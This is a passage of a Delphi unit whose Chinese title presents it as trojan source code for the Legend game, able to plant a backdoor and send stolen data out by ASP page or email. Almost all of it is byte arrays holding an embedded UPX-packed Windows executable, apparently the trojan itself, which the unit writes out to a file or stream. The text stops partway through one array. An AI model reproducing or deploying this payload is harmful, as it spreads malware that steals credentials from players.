unit_main.pas

传奇木马原代码 DELPHI编写 可设置后门 ASP和邮箱发信两种设置

Unit Unit_Main;
{
This File Create By PasAnyWhere1.2
Author:[e-mail].

Use
eg: Cjt_SaveMainToStream(SaveStream);
------- 

History:
------- 

PasAnyWhere1.0(2003.10.10)
  Original Version.Only SaveToFile,Use TFileStream.

PasAnyWhere1.1(2004.01.08)
  SaveToFile,Use File Handle.

PasAnyWhere1.2(2004.01.16)
  Add SaveToStream Function.

}
interface
uses
   Classes;
type
TBuf=array[0..255] of Byte;
const

Buf256_0:TBuf=(
$4D,$5A,$50,$00,$02,$00,$00,$00,
$04,$00,$0F,$00,$FF,$FF,$00,$00,
$B8,$00,$00,$00,$00,$00,$00,$00,
$40,$00,$1A,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$01,$00,$00,
$BA,$10,$00,$0E,$1F,$B4,$09,$CD,
$21,$B8,$01,$4C,$CD,$21,$90,$90,
$54,$68,$69,$73,$20,$70,$72,$6F,
$67,$72,$61,$6D,$20,$6D,$75,$73,
$74,$20,$62,$65,$20,$72,$75,$6E,
$20,$75,$6E,$64,$65,$72,$20,$57,
$69,$6E,$33,$32,$0D,$0A,$24,$37,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00
);

Buf256_1:TBuf=(
$50,$45,$00,$00,$4C,$01,$03,$00,
$19,$5E,$42,$2A,$00,$00,$00,$00,
$00,$00,$00,$00,$E0,$00,$8F,$81,
$0B,$01,$02,$19,$00,$D0,$00,$00,
$00,$10,$00,$00,$00,$B0,$01,$00,
$20,$89,$02,$00,$00,$C0,$01,$00,
$00,$90,$02,$00,$00,$00,$40,$00,
$00,$10,$00,$00,$00,$02,$00,$00,
$04,$00,$00,$00,$00,$00,$00,$00,
$04,$00,$00,$00,$00,$00,$00,$00,
$00,$A0,$02,$00,$00,$10,$00,$00,
$00,$00,$00,$00,$02,$00,$00,$00,
$00,$00,$10,$00,$00,$40,$00,$00,
$00,$00,$10,$00,$00,$10,$00,$00,
$00,$00,$00,$00,$10,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$BC,$95,$02,$00,$40,$01,$00,$00,
$00,$90,$02,$00,$BC,$05,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$74,$8A,$02,$00,$18,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$55,$50,$58,$30,$00,$00,$00,$00
);

Buf256_2:TBuf=(
$00,$B0,$01,$00,$00,$10,$00,$00,
$00,$00,$00,$00,$00,$04,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$80,$00,$00,$E0,
$55,$50,$58,$31,$00,$00,$00,$00,
$00,$D0,$00,$00,$00,$C0,$01,$00,
$00,$CC,$00,$00,$00,$04,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$40,$00,$00,$E0,
$2E,$72,$73,$72,$63,$00,$00,$00,
$00,$10,$00,$00,$00,$90,$02,$00,
$00,$08,$00,$00,$00,$D0,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$40,$00,$00,$C0,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00
);

Buf256_3:TBuf=(
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$31,$2E,$32,$34,$00,
$55,$50,$58,$21,$0C,$09,$02,$08,
$30,$0B,$2F,$BE,$63,$81,$7D,$E2,
$5B,$6D,$02,$00,$11,$C9,$00,$00,
$00,$F8,$01,$00,$26,$06,$00,$71
);

Buf256_4:TBuf=(
$06,$99,$FB,$FF,$04,$10,$40,$00,
$0A,$06,$53,$74,$72,$69,$6E,$67,
$58,$0B,$00,$B3,$35,$07,$FB,$1F,
$04,$0B,$F8,$36,$37,$03,$08,$A6,
$59,$36,$4D,$0C,$00,$84,$34,$A0,
$DC,$65,$C3,$BA,$FF,$07,$54,$4F,
$62,$6A,$65,$63,$74,$64,$33,$07,
$0C,$60,$6F,$DF,$2D,$FF,$06,$53,
$79,$73,$74,$65,$6D,$84,$12,$0F,
$0A,$49,$49,$6E,$0D,$72,$66,$61,
$C8,$D9,$21,$DF,$63,$65,$70,$01,
$C0,$2D,$46,$32,$D9,$FF,$3F,$03,
$00,$FF,$FF,$CC,$83,$44,$24,$04,
$F8,$E9,$06,$00,$48,$9C,$09,$C4,
$9E,$E9,$BA,$4F,$D8,$CC,$CC,$B1,
$50,$BB,$03,$C5,$48,$6D,$90,$EE,
$C8,$4B,$D1,$17,$08,$8D,$0A,$EE,
$0B,$64,$DB,$4C,$11,$03,$DD,$F7,
$1F,$0C,$F3,$BC,$E4,$72,$E4,$0C,
$10,$40,$74,$58,$80,$58,$90,$58,
$FF,$6C,$B2,$97,$11,$54,$C6,$64,
$F0,$8B,$C0,$FF,$25,$98,$F1,$32,
$C8,$20,$DF,$41,$00,$07,$94,$90,
$8C,$C8,$20,$83,$0C,$88,$84,$80,
$20,$83,$0C,$32,$7C,$78,$74,$83,
$0C,$32,$C8,$70,$6C,$AC,$68,$0C,
$32,$C8,$20,$64,$A8,$60,$32,$C8,
$20,$83,$5C,$58,$54,$C8,$20,$83,
$0C,$50,$4C,$48,$20,$83,$0C,$32,
$44,$40,$3C,$83,$0C,$32,$C8,$38,
$34,$A4,$30,$0C,$32,$C8,$20,$2C,
$28,$BC,$32,$C8,$20,$83,$B8,$B4
);

Buf256_5:TBuf=(
$24,$C8,$20,$83,$0C,$20,$CC,$C8,
$20,$83,$0C,$32,$C4,$1C,$18,$86,
$3F,$32,$C8,$14,$10,$53,$83,$C4,
$BC,$BB,$0A,$A0,$F6,$FF,$F2,$C6,
$54,$E8,$09,$02,$24,$F6,$2C,$01,
$74,$05,$0F,$B7,$5C,$24,$30,$8B,
$C3,$1B,$0C,$36,$C8,$F7,$44,$5B,
$C3,$33,$0C,$08,$07,$04,$E4,$E4,
$20,$83,$00,$FC,$F0,$F8,$ED,$47,
$06,$19,$F4,$F0,$53,$56,$BE,$E0,
$C5,$6C,$FD,$7F,$2E,$FF,$83,$3E,
$00,$75,$3A,$68,$44,$06,$6A,$00,
$E0,$8B,$C8,$85,$C9,$75,$05,$33,
$C0,$5E,$FF,$FF,$BD,$BB,$64,$A1,
$DC,$20,$89,$01,$89,$0D,$07,$33,
$D2,$8B,$C2,$03,$C0,$8D,$44,$C1,
$04,$8B,$1E,$89,$BD,$ED,$FE,$FF,
$18,$89,$06,$42,$83,$FA,$64,$75,
$EC,$8B,$06,$8B,$10,$89,$16,$2B,
$90,$89,$29,$40,$04,$C3,$FF,$60,
$EF,$FE,$57,$8B,$F2,$8B,$D8,$4A,
$03,$20,$85,$C0,$48,$8B,$16,$89,
$50,$08,$8B,$56,$BD,$6D,$DB,$B7,
$04,$05,$0C,$8B,$13,$89,$30,$58,
$09,$42,$02,$03,$B0,$01,$B6,$B7,
$FD,$F6,$1B,$50,$50,$08,$89,$0A,
$89,$51,$06,$15,$90,$1E,$A3,$BB,
$FD,$7F,$FB,$06,$C3,$47,$57,$55,
$51,$8B,$F1,$89,$14,$24,$8B,$E8,
$8B,$5D,$B0,$04,$24,$69,$F8,$EF,
$6E,$DD,$2D,$89,$47,$8B,$3B,$77,
$53,$08,$03,$53,$0C,$3B,$C2,$75
);

Buf256_6:TBuf=(
$14,$FC,$DB,$F6,$57,$12,$6D,$A8,
$8B,$43,$46,$06,$04,$0C,$01,$46,
$04,$EB,$15,$03,$FD,$97,$EC,$B6,
$3B,$0F,$75,$0D,$1B,$16,$8B,$DF,
$3B,$EB,$75,$6F,$65,$F9,$BD,$70,
$D6,$8B,$C5,$9E,$78,$84,$04,$33,
$5A,$5D,$5F,$EE,$DB,$C2,$73,$87,
$6F,$5A,$F8,$BA,$8B,$FB,$8B,$32,
$4B,$6F,$6F,$6F,$FF,$3B,$F0,$72,
$70,$8B,$CE,$03,$4A,$35,$E8,$03,
$6B,$67,$CD,$77,$62,$11,$75,$1B,
$8B,$4B,$B7,$AE,$6D,$B7,$01,$1B,
$05,$29,$51,$83,$7B,$43,$75,$82,
$FD,$76,$B0,$48,$61,$EB,$3F,$2C,
$8B,$7A,$04,$03,$CF,$2E,$6D,$DB,
$7D,$DB,$F9,$29,$1E,$EB,$2A,$8B,
$0A,$41,$89,$0C,$BB,$7B,$AD,$B7,
$F0,$A5,$6F,$0F,$2B,$F9,$89,$7C,
$D4,$2B,$F0,$89,$73,$07,$D4,$38,
$FD,$B6,$70,$B2,$85,$EB,$0C,$0C,
$EB,$57,$1B,$3B,$FB,$75,$81,$17,
$7E,$77,$B6,$0D,$59,$92,$90,$93,
$8B,$DA,$8B,$F0,$81,$FE,$9D,$10,
$00,$BD,$B5,$6E,$EF,$7D,$07,$BE,
$06,$29,$81,$C6,$31,$09,$81,$E6,
$00,$27,$6C,$7F,$73,$39,$49,$04,
$6A,$01,$68,$00,$20,$0B,$56,$BF,
$F0,$3B,$CC,$F0,$FF,$8B,$F8,$89,
$3B,$85,$FF,$74,$23,$8B,$D3,$B8,
$E4,$47,$63,$13,$24,$B0,$EE,$FB,
$61,$80,$E3,$8B,$03,$50,$26,$F8,
$F8,$03,$63,$C6,$7E,$6F,$F8,$55
);

Buf256_7:TBuf=(
$8B,$D9,$B3,$E8,$C7,$43,$04,$60,
$6A,$04,$4F,$68,$1C,$D9,$01,$FB,
$0B,$55,$52,$75,$1F,$78,$04,$01,
$F6,$36,$9B,$24,$4E,$83,$3B,$00,
$76,$28,$DC,$90,$2C,$DB,$6F,$EC,
$89,$4C,$10,$7D,$C3,$DD,$68,$E3,
$C7,$E2,$08,$FF,$00,$65,$89,$54,
$24,$0C,$F0,$7B,$BB,$A1,$8B,$EE,
$03,$C5,$89,$14,$10,$8B,$1D,$4E,
$EB,$51,$BB,$85,$BF,$D0,$F2,$73,
$93,$EE,$77,$46,$8B,$C6,$03,$7A,
$3B,$19,$77,$3B,$7B,$98,$DB,$DA,
$3B,$74,$34,$86,$89,$05,$14,$0C,
$76,$0E,$1D,$B1,$C1,$5C,$05,$74,
$56,$72,$85,$0A,$3E,$8C,$03,$EE,
$C7,$05,$C0,$45,$39,$10,$DF,$81,
$FB,$6B,$77,$06,$FE,$58,$75,$A7,
$8B,$66,$75,$10,$83,$7C,$37,$BF,
$5D,$6B,$B4,$6F,$19,$0E,$8B,$82,
$4A,$79,$48,$2B,$30,$B6,$87,$73,
$96,$0D,$AE,$AB,$14,$27,$B6,$FD,
$07,$1B,$F4,$B7,$8B,$D0,$8B,$EA,
$81,$E5,$00,$F0,$B9,$03,$0C,$D9,
$DC,$6B,$F8,$81,$C2,$FF,$0F,$1F,
$E2,$0E,$C6,$39,$44,$8F,$1D,$EC,
$AE,$28,$05,$08,$2B,$C5,$45,$8B,
$35,$CE,$3C,$8B,$5E,$6D,$FB,$8D,
$6F,$1D,$7E,$0C,$03,$FB,$90,$76,
$02,$8B,$DD,$3B,$7B,$08,$B9,$5F,
$1E,$2E,$B8,$8B,$05,$FF,$76,$1E,
$57,$10,$2B,$FB,$57,$53,$63,$3B,
$EC,$7C,$C0,$F0,$A5,$EB,$09,$36
);

Buf256_8:TBuf=(
$0E,$74,$3A,$DB,$58,$B9,$BC,$91,
$0C,$73,$23,$9F,$A1,$E3,$2B,$B9,
$F3,$A1,$81,$E6,$34,$94,$0C,$41,
$6E,$9D,$EB,$03,$4F,$C8,$93,$1C,
$D6,$6D,$F7,$2B,$06,$41,$84,$38,
$1C,$6C,$DD,$F6,$F6,$24,$73,$03,
$8B,$04,$3B,$EF,$73,$8C,$FD,$82,
$1C,$80,$40,$61,$67,$48,$98,$41,
$02,$80,$86,$E4,$60,$C6,$C0,$A5,
$6F,$3B,$06,$DD,$BB,$37,$44,$F8,
$BD,$F4,$1A,$81,$C7,$FF,$3F,$86,
$E7,$9F,$9A,$6E,$DC,$BA,$79,$5D,
$69,$33,$3B,$FB,$7F,$2C,$20,$D7,
$48,$EF,$DA,$99,$58,$52,$06,$58,
$76,$74,$50,$8B,$46,$4C,$37,$1D,
$32,$C9,$46,$3E,$35,$09,$DD,$75,
$C9,$90,$7E,$76,$4D,$AA,$C7,$2E,
$04,$C4,$21,$8B,$CC,$BA,$BB,$2E,
$B7,$FD,$C0,$83,$3C,$24,$2D,$A5,
$10,$0B,$06,$11,$05,$A0,$8F,$09,
$93,$4E,$C8,$36,$0F,$5B,$9B,$C0,
$4A,$4F,$77,$FA,$3E,$92,$02,$61,
$EE,$BB,$B1,$C0,$53,$3B,$54,$75,
$F5,$04,$57,$A2,$AD,$CD,$70,$E2,
$0F,$8E,$96,$3F,$D9,$A8,$2B,$5B,
$4B,$C7,$E7,$70,$AB,$55,$5D,$28,
$1C,$04,$33,$3F,$86,$19,$76,$1A,
$0C,$8D,$C8,$85,$32,$75,$B1,$0C,
$B1,$20,$7C,$15,$8B,$EE,$8B,$6C,
$1A,$B3,$4D,$1C,$AB,$BB,$09,$17,
$4D,$9F,$E3,$03,$64,$C0,$46,$34,
$0F,$85,$66,$FE,$1B,$5B,$47,$98
);

Buf256_9:TBuf=(
$4A,$EB,$66,$6B,$1B,$F5,$EB,$0A,
$87,$02,$A9,$48,$1C,$D7,$D7,$3C,
$0F,$6C,$3B,$C3,$48,$20,$83,$38,
$53,$28,$1F,$40,$C8,$24,$BC,$08,
$4E,$08,$51,$10,$4E,$C3,$08,$76,
$07,$49,$C6,$7F,$64,$84,$1D,$1B,
$22,$8B,$F9,$C4,$8D,$98,$1B,$E3,
$F5,$DF,$D6,$46,$35,$03,$70,$E6,
$0A,$3B,$DE,$73,$5B,$8B,$1D,$CE,
$8E,$BD,$CF,$D6,$2B,$D3,$44,$06,
$EC,$CB,$B8,$4E,$D9,$64,$DF,$8E,
$B8,$8B,$5C,$0F,$85,$DB,$74,$1F,
$B5,$C3,$B3,$59,$D3,$B9,$A6,$38,
$89,$C0,$07,$10,$08,$F5,$7B,$E0,
$C3,$DE,$14,$F1,$3B,$04,$30,$EB,
$7A,$07,$8D,$1B,$DF,$B6,$9E,$8C,
$80,$EC,$9B,$55,$68,$66,$1A,$4A,
$64,$DA,$4B,$C1,$FE,$FF,$32,$64,
$89,$22,$68,$C4,$63,$C8,$3D,$45,
$C0,$0A,$6C,$B2,$26,$DB,$3E,$0A,
$12,$08,$60,$70,$8A,$0C,$1E,$E4,
$96,$09,$20,$C6,$68,$F8,$0F,$CB,
$C7,$DB,$DB,$9D,$A3,$1C,$15,$83,
$3D,$05,$41,$2F,$B8,$03,$BD,$E0,
$FA,$A5,$DF,$15,$0D,$33,$C9,$BF,
$82,$F4,$40,$3D,$01,$F1,$37,$70,
$E0,$6E,$C4,$B8,$04,$12,$BD,$C2,
$A3,$10,$DE,$DE,$5E,$77,$09,$C6,
$05,$BC,$2C,$9F,$5A,$59,$59,$8B,
$10,$68,$6D,$FB,$86,$57,$E6,$96,
$86,$10,$C3,$DF,$2B,$60,$EB,$E5,
$A0,$2D,$77,$E1,$B5,$EF,$5D,$C3
);

Buf256_10:TBuf=(
$53,$25,$0B,$CB,$84,$CC,$69,$05,
$B0,$21,$3F,$D1,$4A,$1B,$C7,$2B,
$23,$F0,$9E,$67,$00,$A1,$90,$1D,
$E8,$B1,$23,$58,$83,$15,$F3,$12,
$C6,$87,$83,$D5,$98,$80,$3C,$B2,
$B4,$E6,$52,$24,$16,$09,$02,$B7,
$B4,$B0,$D9,$6B,$E2,$74,$17,$31,
$15,$0B,$5D,$16,$96,$40,$4E,$76,
$75,$E9,$D9,$51,$1B,$E3,$87,$B7,
$83,$4C,$18,$DB,$5B,$DF,$53,$3B,
$05,$1C,$FD,$89,$F7,$C4,$75,$09,
$82,$15,$0A,$B9,$48,$08,$81,$F9,
$60,$8B,$26,$7E,$AC,$7F,$38,$89,
$17,$39,$79,$FB,$03,$B1,$DF,$05,
$C1,$03,$C1,$F9,$02,$D4,$CC,$88,
$F4,$EB,$24,$16,$6E,$6F,$AF,$2D,
$D9,$17,$15,$8B,$F4,$8B,$05,$02,
$89,$86,$D7,$CC,$D4,$40,$AD,$08,
$47,$9C,$12,$6F,$6C,$7C,$C3,$EB,
$B4,$4A,$EC,$C1,$72,$07,$3A,$D6,
$EF,$25,$DC,$0C,$06,$F3,$12,$81,
$FA,$17,$75,$E8,$84,$BF,$E3,$C5,
$61,$C6,$8D,$C3,$8B,$CA,$83,$E9,
$04,$8D,$BB,$B7,$BF,$C5,$1C,$01,
$8B,$10,$7C,$0F,$C7,$03,$07,$18,
$80,$8B,$D1,$B9,$0D,$B8,$A0,$7B,
$7B,$6B,$4F,$13,$04,$7C,$0C,$20,
$81,$C9,$02,$15,$89,$BD,$80,$7B,
$5B,$D0,$0B,$12,$FF,$05,$AC,$3F,
$B3,$83,$EA,$04,$3D,$BB,$DB,$D8,
$54,$E2,$FC,$E3,$7F,$0A,$01,$15,
$B0,$EF,$12,$28,$4F,$4D,$7F,$73
);

Buf256_11:TBuf=(
$3B,$36,$0C,$7C,$0E,$83,$CA,$02,